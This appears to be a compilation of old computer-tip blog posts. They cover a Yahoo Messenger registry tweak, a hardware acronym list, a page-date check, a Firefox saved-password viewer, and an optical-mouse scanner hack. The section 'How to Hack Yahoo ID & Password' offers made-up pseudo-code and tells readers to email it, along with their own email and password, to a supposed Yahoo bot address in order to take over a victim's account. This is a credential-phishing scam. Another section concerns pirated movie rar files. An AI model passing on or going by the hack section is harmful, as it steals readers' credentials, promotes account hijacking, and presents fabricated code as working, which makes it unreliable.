Yahoo Messenger Multi Log in

This is a trick for Yahoo Messenger. We usually have more than one account . In default, if we log in to Yahoo! Messenger on our computer, we cannot log in again with another account. If we try to log in with another account, automatically, the previously logged-in-account will be logged out, in other words, we can only log in with one account.But You can now Tweak YM to have multiple Log in...

1. Click Start on your computer
2. Click Run…
3. Write : regedit
4. Click OK
5. When window registry editor open, find HKEY_CURRENT_USER
6. Open this: HKEY_CURRENT_USER ⇒ Software ⇒ Yahoo ⇒ Pager ⇒ Test.
7. Right click at the folder Test ⇒ New ⇒ DWORD Value

8.Rename the New Value #1 becomes : Plural
9.Right click at Plural ⇒ Modify



10.Change Value Data becomes 1, Base choose at decimal. Click OK





11.Close your Window Registry editor


12.Done

130+ Computer Abbreviations or Acronyms

This is a big and very useful acronyms list. This list is also known by different names like Computer Acronyms, Computer Abbreviations, Computer Terms, Computer Slang, Computer Shortcuts, Computer Symbols, Computer Words, Computer Glossary, Computer Terminology, etc.

This list is properly organized and is alphabetically arranged.



A <->
ADSL : Asymmetric Digital Subscriber Line
AGP : Accelerated Graphics Port
ALI : Acer Labs, Incorporated


ALU : Arithmetic Logic Unit
AMD : Advanced Micro Devices
APC : American Power Conversion
ASCII : American Standard Code for Information Interchange
ASIC : Application Specific Integrated Circuit
ASPI : Advanced SCSI Programming Interface
AT : Advanced Technology
ATI : ATI Technologies Inc.
ATX : Advanced Technology Extended

<-> B <->
BFG : BFG Technologies
BIOS : Basic Input Output System
BNC : Barrel Nut Connector

<-> C <->
CAS : Column Address Signal
CD : Compact Disk
CDR : Compact Disk Recorder
CDRW : Compact Disk Re:Writer
CD:ROM : Compact Disk : Read Only Memory
CFM : Cubic Feet per Minute (ft?/min)
CMOS : Complementary Metal Oxide Semiconductor
CPU : Central Processing Unit
CTX : CTX Technology Corporation (Committed to Excellence)

<-> D <->

DDR : Double Data Rate
DDR:SDRAM : Double Data Rate : Synchronous Dynamic Random Access Memory
DFI : DFI Inc. (Design for Innovation)
DIMM : Dual Inline Memory Module
DRAM : Dynamic Random Access Memory
DPI : Dots Per Inch
DSL : See ASDL
DVD : Digital Versatile Disc
DVD:RAM : Digital Versatile Disk : Random Access Memory

<-> E <->
ECC : Error Correction Code
ECS : Elite group Computer Systems
EDO : Extended Data Out
EEPROM : Electrically Erasable Programmable Read:Only Memory
EPROM : Erasable Programmable Read:Only Memory
EVGA : EVGA Corporation

<-> F <->
FC:PGA : Flip Chip Pin Grid Array
FDC : Floppy Disk Controller
FDD : Floppy Disk Drive
FPS : Frame Per Second
FPU : Floating Point Unit
FSAA : Full Screen Anti:Aliasing
FS : For Sale
FSB : Front Side Bus

<-> G <->
GB : Gigabytes
GBps : Gigabytes per second or Gigabits per second
GDI : Graphical Device Interface
GHz : Gigahertz

<-> H <->
HDD : Hard Disk Drive
HIS : High tech Information System Limited
HP : Hewlett:Packard Development Company
HSF : Heat sink:Fan

<-> I <->
IBM : International Business Machines Corporation
IC : Integrated Circuit
IDE : Integrated Drive Electronics
IFS: Item for Sale
IRQ : Interrupt Request
ISA : Industry Standard Architecture
ISO : International Standards Organization

<-> J <->
JBL : JBL (Jame B. Lansing) Speakers
JVC : JVC Company of America

: K <->
Kbps : Kilobits Per Second
KBps : Kilo Bytes per second

<-> L <->
LG : LG Electronics
LAN : Local Area Network
LCD : Liquid Crystal Display
LDT : Lightning Data Transport
LED : Light Emitting Diode

<-> M <->
MAC : Media Access Control
MB ? Mother Board or Megabyte
MBps : Megabytes Per Second
Mbps : Megabits Per Second
MHz : Mega Hertz
MIPS : Million Instructions Per Second
MMX : Multi:Media Extensions
MSI : Micro Star International

<-> N <->
NAS : Network Attached Storage
NAT : Network Address Translation
NEC : NEC Corporation
NIC : Network Interface Card

<-> O <->
OC : Overclock (Over Clock)
OCZ : OCZ Technology
OEM : Original Equipment Manufacturer

<-> P <->
PC : Personal Computer
PCB : Printed Circuit Board
PCI : Peripheral Component Interconnect
PDA : Personal Digital Assistant
PCMCIA : Peripheral Component Micro channel Interconnect Architecture
PGA : Professional Graphics Array
PLD : Programmable Logic Device
PM : Private Message , Private Messaging
PnP : Plug 'n Play
PNY : PNY Technology
POST : Power On Self Test
PPPoA : Point : to : Point Protocol over ATM
PPPoE : Point : to : Point Protocol over Ethernet
PQI : PQI Corporation
PSU : Power Supply Unit

<-> R <->
RAID : Redundant Array of Inexpensive Disks
RAM : Random Access Memory
RAMDAC : Random Access Memory Digital Analog Converter
RDRAM : Ram bus Dynamic Random Access Memory
ROM : Read Only Memory
RPM : Revolutions Per Minute

<-> S <->
SASID : Self:scanned Amorphous Silicon Integrated Display
SCA : SCSI Configured Automatically
SCSI : Small Computer System Interface
SDRAM : Synchronous Dynamic Random Access Memory
SECC : Single Edge Contact Connector
SODIMM : Small Outline Dual Inline Memory Module
SPARC : Scalable Processor Architecture
SOHO : Small Office Home Office
SRAM : Static Random Access Memory
SSE : Streaming SIMD Extensions
SVGA : Super Video Graphics Array
S/PDIF : Sony/Philips Digital Interface

<-> T <->
TB : Terabytes
TBps : Terabytes per second
Tbps : Tera bits per second
TDK : TDK Electronics
TEC : Thermoelectric Cooler
TPC : TipidPC
TWAIN : Technology Without An Important Name

<-> U <->
UART : Universal Asynchronous Receiver/Transmitter
USB : Universal Serial Bus
UTP : Unshielded Twisted Pair

<-> V <->
VCD : Video CD
VPN : Virtual Private Network

<-> W <->
WAN : Wide Area Network
WTB : Want to Buy
WYSIWYG : What You See Is What You Get

<-> X <->
XGA : Extended Graphics Array
XFX : XFX Graphics, a Division of Pine
XMS : Extended Memory Specification
XT : Extended Technology

How To Check Web Page Last Update

Many times we come across websites or blogs where the dates of the posts are not displayed or made hidden so that a person doesn't come to know when that page was last updated.

With this simple trick you can come to know when a specific Web page was last updated.

This trick is proven to work for every web page and has been personally tested by me on Internet Explorer, Firefox, Safari, Google Chrome, and Opera.

To determine when a page was last updated, follow these simple steps:


01. Open the page for which you want to get the information.

02. Clear the address bar [where you type the address of the sites]:

and type or copy/paste from below:

javascript:alert(document.lastModified)


03. Press Enter or Go button:

and Voila! a message box will come up displaying the date and time of the last update of that particular page:

Press the OK button to remove the notification and continue browsing.


This way you can know When Was A Web Page Last Updated.

Listen The Hidden Microsoft Song ! ! !

Did you knew that there is a hidden Microsoft song? You can hear this song while installing windows, but you hear it almost at the end where you are completing your windows registration, enter your username and ..etc.
Some people might not even hear it because, the sound card driver isn't installed at the time. If you want to know and hear that song, follow the procedure:


1. Go to Start > Run>

2. Copy and Paste the following command:


Code:

C:\windows\system32\oobe\images\title.wma

3. Then hit Enter, of course ... Your media player should load the song, and now you can hear it.

Do You Know That PDF Files Can Talk ?? - Amazing must see !!!

Did you realise that if you use Adobe Reader 6.0 or 7.0, you can have a bot talk on the contents of the pdf file ?? Yes it's true !! Follow the instructions and you will confirm what I'm saying !!




Open a pdf file then press,

Ctrl+shift+Y - To Activate Read Out Loud (Bot Talk)


Functions

Ctrl+shift+b - To hear the entire Document
Ctrl+shift+v - To hear the page
Ctrl+shift+c - To resume
Ctrl+shift+e - To stop


Try out to hear the page, if hearing the entire document doesn’t seem to work should be because the pdf file content is too long.

How to Hack Yahoo ID & Password

This is to be done exactly as it is written, it is not complicated at all in fact it’s real
easy. Note that it is only for YAHOO. I've been doing research and tried other
documents and all of them are bullshit.
But you have to do it exactly how it is!!!!
Be sure to write it as it says (copy and paste it), it HAS to be done from a yahoo account.

1- Go to Mail: Compose.
2- Address it to: "passbot_gen@yahoo.com" (this is the same machine that
sends password recoveries)
3- Subject should be written AS IS. (Copy and paste) Subject: Retrieve Password
(with no spaces)
4- Copy the following:

public * {Jsp.getNewName(have_pw().action("http://law5.Yahoo.passport.com/cgibin/
useR.
PW=search:DATABASE:YAHOOBOT_GENERATOR%2OH34/PASSBOT_GEN/A
CS/4546CRBOXBI N#4654;filesearch=
pw.curmbox=SEARCH%20CGIBIN%25!%20F01%20La%20CRM}%2 0ACTION=R
ECOVER%20PAR AM=GET%25!"));
FileSelectionMode{_email:_password}% PARAM= {{{{ VICTIM GOES HERE
}}}}RECEIVER=
{_email:= {{{{ YOUR EMAIL }}}}:_password:= {{{{ YOUR PASSWORD
}}}}");have_pw
(RECOVER, PW);cloak and send back to 'RECEIVER' {D}/*end code*/}

5- Start at the first line and paste, it should have no spaces at the end.
6- Replace "VICTIM GOES HERE" with the yahoo id or email of the victim, it should
look like {{{{ victim_39@yahoo.com }}}} notice the spaces at the beginning and at the
end within the brackets.
7- Replace "YOUR EMAIL” and "YOUR PASSWORD" with your email and
password where you want the victims info to be sent, with the spaces at the beginning
and at the
end within the brackets as well.
8- Double check for the last time about all the spacing and that you pasted it all at
the first line.
9- Then email.
After you're finished you should receive an email with the Subject line: Account
Disabled.
It'll tell you that you just disabled the account you hacked, then it'll give you the Yahoo
ID and the new password.

A Useful Way To Check a Multiparts' rar.Movie Qualiy Without Downloading All Parts

Maybe it is a known procedure for many of us but still will very useful for those who aren't familiar. Normaly an uploaded movie consists of at least 5 rar parts. Usually someone needs to download all the parts, de compress them and then will be able to see the movie. All of the sudden finds out that either the quality is pure or that the content isn't as described !! All of his valuable time and effort goes to the bin ! By following these simple steps you will only need to download one rar part of the movie to check it out before downloading the rest of them. For example, the film consists of 5 parts:

* Cloverfield.2008.DVDRip.x264_utkuemre.part1.rar
* Cloverfield.2008.DVDRip.x264_utkuemre.part2.rar
* Cloverfield.2008.DVDRip.x264_utkuemre.part3.rar
* Cloverfield.2008.DVDRip.x264_utkuemre.part4.rar
* Cloverfield.2008.DVDRip.x264_utkuemre.part5.rar
STEP 1

Download part1.rar, when extracting that part, check the"keep broken files" box.

STEP 2

When the software ask you to provide the next part to continue, simply cancel it.


Now you can watch the first part of the movie! If it's good, continue downloading the followings ones, if not, ignore this film. It will save you time!

Also if you like, you can extract 2 or 3 or 4 parts of the film too.

Convert Your Old Optical Mouse CCD into a Scanner !

Are you using an optical mouse right now? Ever wanted to see your desktop through the eye on the bottom of it? Me neither, I already know I have to clean my desktop

People get bored sometimes, and when I get bored I sometimes open up stuff to find out what makes it tick. One time, I did this with an old optical mouse. Well, a mouse only has 2 chips inside: the optical sensor and a chip for the usb/ps2-interfacing. I looked up the datasheet of the optical sensor (which is an ADNS2610) and it told me the sensor has a tiny 18x18 CCD, which can be read out using the serial port (the one which normally interfaces to the PS2/USB-chip).

So I start Visual Basic (I usually do my stuff under Linux, but I'm no star at using anything graphical like QT or GTK, so for this quick'n'dirty project I fell back in my old habits) and hack something up using a few wires to the trusty ole parallel port. The result: crisp lo-res b&w imaging



As you can see, the mouse was over some text with an 'e' in it.

One of the more obvious features of a mouse, however, is that it can detect movement. Combine this with the just-aquired imaging features, and we have a ghetto b&w handscanner. This is a 'scanned' piece of a receipt:



I can understand you can't wait to have such a handy scanner yourself. And now, you can! The software is downloadable here.

The software works on mice which use an ADNS-2610 optical sensor, recognisable by the eight pins, the sun-like mark and the text 'A2610'. I've seen this sensor in most cheap optical mice that aren't too old. To hook it up, check out the pinout in the datasheet, then on the PCB cut the traces running from the sensors SCK- and SDIO-pins to the rest of the mouse. Then connect the sensor, using a diode, to a parallel port, like this:

pp: adns-2610:
25-----------------GND

12----------+------SDIO
5 -----|<|--+

9 -----------------SCK

Plug in the USB/PS2-plug (or apply 5V to the Vcc-pin of the sensor), run the software and you should be OK

View Passwords Using Firefox Or Netscape

i will consider firefox same process happen to netscape..


Whenever you log in to a website using your username and password, you'll be prompted by Firefox whether you'd like Firefox to remember this password.


If you click on Remember, the next time you visit the website, it'll automatically enter the username and password for your convenience.

Now, back to the topic. Let's say you saved your GMail password in Firefox. After months or years gone by and you don't remember the password you set for my GMail. You started to panic and desperately need to get back your GMail password.

Don't worry, here's how you can find the hidden GMail password in Firefox.

Firefox is much better than Internet Explorer in terms of managing "remembered" logins. In Internet Explorer, there is no built-in feature where you can manage or view your saved login information. That's why you need third party tools to reveal the passwords hidden under asterisks. As for Firefox, you can access remembered passwords with a few clicks.



To view your remembered passwords in Firefox browser, go to Tools, and click on Options. Go to Security tab and click on the Show Passwords button. A remember password dialog box will appear. Click on the Show Passwords button again and a new column with password will appear.